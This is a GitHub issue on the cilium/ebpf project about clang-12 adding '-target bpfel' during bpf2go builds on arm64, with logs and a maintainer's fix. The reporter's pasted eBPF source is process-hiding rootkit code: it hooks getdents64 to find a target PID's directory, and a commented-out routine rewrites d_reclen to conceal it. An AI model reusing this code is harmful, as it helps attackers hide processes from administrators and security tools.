cilium / ebpf

ebpf-go is a pure-Go library to read, modify and load eBPF programs and attach them to various hooks in the Linux kernel.
https://ebpf-go.dev
MIT License
6.39k stars 699 forks source link

clang version >=12 will automatically add the -target bpfeb #1283

Closed bfengj closed 10 months ago

bfengj commented 11 months ago

Describe the bug

this is my command :

//go:generate go run github.com/cilium/ebpf/cmd/bpf2go  -cc clang-12 -target arm64 -cflags "-g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64" ebpf ./kernel-code/ebpf-tools.bpf.c

I specified arm64 in various locations,but :
```bash
go generate -x -v
gen.go
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 ebpf ./kernel-code/ebpf-tools.bpf.c
...
fatal error: error in backend: Unsupported dynamic stack allocation
PLEASE submit a bug report to https://bugs.llvm.org/ and include the crash backtrace, preprocessed source, and associated run script.
Stack dump:
0.      Program arguments: clang-12 -O2 -mcpu=v1 -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 -D__TARGET_ARCH_arm64 -target bpfel -c /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/kernel-code/ebpf-tools.bpf.c -o /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o -fno-ident -fdebug-prefix-map=/home/parallels/Desktop/gopath/src/ebpf-go-test-remote/kernel-code=kernel-code -fdebug-compilation-dir . -g "-D__BPF_TARGET_MISSING=\"GCC error \\\"The eBPF is using target specific macros, please provide -target that is not bpf, bpfel or bpfeb\\\"\"" -MD -MP -MF/tmp/bpf2go3596423510
clang: error: clang frontend command failed with exit code 70 (use -v to see invocation)
Ubuntu clang version 12.0.1-19ubuntu3
Target: bpfel
Thread model: posix
InstalledDir: /usr/bin
clang: note: diagnostic msg: 
********************

PLEASE ATTACH THE FOLLOWING FILES TO THE BUG REPORT:
Preprocessed source(s) and associated run script(s) are located at:
clang: note: diagnostic msg: /tmp/ebpf-tools-eb8b1b.c
clang: note: diagnostic msg: /tmp/ebpf-tools-eb8b1b.sh
clang: note: diagnostic msg: 

********************
Error: can't execute clang-12: exit status 70
exit status 1
gen.go:3: running "go": exit status 1

According to the error message "The eBPF is using target specific macros, please provide -target that is not bpf, bpfel or bpfeb", clang shouldn't set -target to bpf, bpfel and bpfeb during compilation, so I need to specify the -target myself, but with clang version >= 12, it still specifies a -target bpfel by itself, resulting in an error According to the message above:"Program arguments: clang-12 -O2 -mcpu=v1 -g -O2 -Wall -target arm64 -D TARGET_ARCH_arm64 -DTARGET_ARCH_arm64 -target bpfel "

When i use clang-11, i will not happen:

go generate -x -v
gen.go
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-11 -target arm64 -cflags -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 ebpf ./kernel-code/ebpf-tools.bpf.c
Compiled /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o
Stripped /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o
Wrote /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.go
main.go

I don't know if this is a clang bug or a bpf2go bug,so i report it.


### How to reproduce

```shell
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go  -cc clang-11 -target arm64 -cflags "-g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64" ebpf ./kernel-code/ebpf-tools.bpf.c

ebpf code is :

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>

#define PROG_01 1
#define PROG_02 2

char __license[] SEC("license") = "Dual MIT/GPL";

// Ringbuffer Map to pass messages from kernel to user
struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024 * 16);
} rb SEC(".maps");

// Map to fold the dents buffer addresses
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 8192);
    __type(key, size_t);
    __type(value, long unsigned int);
} map_buffs SEC(".maps");

// Map used to enable searching through the
// data in a loop
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 8192);
    __type(key, size_t);
    __type(value, int);
} map_bytes_read SEC(".maps");

// Map with address of actual
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 8192);
    __type(key, size_t);
    __type(value, long unsigned int);
} map_to_patch SEC(".maps");

// Map to hold program tail calls
struct {
    __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
    __uint(max_entries, 5);
    __type(key, __u32);
    __type(value, __u32);
} map_prog_array SEC(".maps");

struct event {
    int pid;
    u8 comm[TASK_COMM_LEN];
    bool success;
};
const struct event *unused __attribute__((unused));

//const volatile int target_ppid = 0;
const int max_pid_len = 10;
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[max_pid_len];

// struct linux_dirent64 {
//     u64        d_ino;    /* 64-bit inode number */
//     u64        d_off;    /* 64-bit offset to next structure */
//     unsigned short d_reclen; /* Size of this dirent */
//     unsigned char  d_type;   /* File type */
//     char           d_name[]; /* Filename (null-terminated) */ };
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

SEC("tp/syscalls/sys_enter_getdents64")
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) {
    size_t pid_tgid = bpf_get_current_pid_tgid();

    struct linux_dirent64 *dirp = (struct linux_dirent64 *) ctx->args[1];
    bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
    return 0;
}

SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) {
    u64 pid_tgid = bpf_get_current_pid_tgid();

    int total_bytes_read = ctx->ret;
    // if bytes_read is 0, everything's been read
    if (total_bytes_read <= 0) {
        return 0;
    }

    // Check we stored the address of the buffer from the syscall entry
    long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
    if (pbuff_addr == 0) {
        return 0;
    }
    //bpf_printk("enter");

    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp = 0;
    //int pid = pid_tgid >> 32;
    short unsigned int d_reclen = 0;
    char filename[max_pid_len];

    unsigned int bpos = 0;
    unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
    if (pBPOS != 0) {
        bpos = *pBPOS;
    }

    for (int i = 0; i < 200; i++) {
        if (bpos >= total_bytes_read) {
            break;
        }
        dirp = (struct linux_dirent64 *) (buff_addr + bpos);
        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
        //bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
        //bpf_printk("[PID_HIDE] filename:%s",filename);
        //bpf_core_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
        BPF_CORE_READ_USER_STR_INTO(&filename,dirp,d_name);
        int j = 0;
        for (j = 0; j < pid_to_hide_len; j++) {
            if (filename[j] != pid_to_hide[j]) {
                break;
            }
        }
        if (j == pid_to_hide_len) {

            //bpf_printk("[PID_HIDE] find target pid folder");
            //bpf_printk("[PID_HIDE] filename:%s",filename);
            bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
            bpf_map_delete_elem(&map_buffs, &pid_tgid);
            bpf_tail_call(ctx, &map_prog_array, PROG_02);
        }
        bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
        bpos += d_reclen;
    }
    // If we didn't find it, but there's still more to read,
    // jump back the start of this function and keep looking
    if (bpos < total_bytes_read) {
        bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
        bpf_tail_call(ctx, &map_prog_array, PROG_01);
    }
    bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
    bpf_map_delete_elem(&map_buffs, &pid_tgid);

    return 0;
}

/*
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) {
    // Only patch if we've already checked and found our pid's folder to hide
    size_t pid_tgid = bpf_get_current_pid_tgid();
    long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
    if (pbuff_addr == 0) {
        return 0;
    }

    // Unlink target, by reading in previous linux_dirent64 struct,
    // and setting it's d_reclen to cover itself and our target.
    // This will make the program skip over our folder.
    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *) buff_addr;
    short unsigned int d_reclen_previous = 0;
    bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);

    struct linux_dirent64 *dirp = (struct linux_dirent64 *) (buff_addr + d_reclen_previous);
    short unsigned int d_reclen = 0;
    bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);

    // Debug print
    char filename[max_pid_len];
    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
    filename[pid_to_hide_len - 1] = 0x00;
    bpf_printk("[PID_HIDE] filename previous %s\n", filename);
    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
    filename[pid_to_hide_len - 1] = 0x00;
    bpf_printk("[PID_HIDE] filename next one %s\n", filename);

    // Attempt to overwrite
    short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
    long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));

    // Send an event
    struct event *e;
    e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
    if (e) {
        e->success = (ret == 0);
        e->pid = (pid_tgid >> 32);
        bpf_get_current_comm(&e->comm, sizeof(e->comm));
        bpf_ringbuf_submit(e, 0);
    }

    bpf_map_delete_elem(&map_to_patch, &pid_tgid);
    return 0;
}
 */

this is my linux:

uname -a
Linux ubuntu-linux-22-04-02-desktop 6.5.13-060513-generic #202311281736 SMP PREEMPT_DYNAMIC Tue Nov 28 18:10:14 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux

Version information

github.com/cilium/ebpf v0.12.3

lmb commented 11 months ago

bpf2go will pass the necessary target flags and defines to clang, do not add them to the cflags manually.

Try this:

go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags "-g -O2 -Wall" ...
bfengj commented 10 months ago

thanks!Looking at my code again after so many days i find that actually it's not the bug of clang,it's because of my code.But still thanks for the reply!!!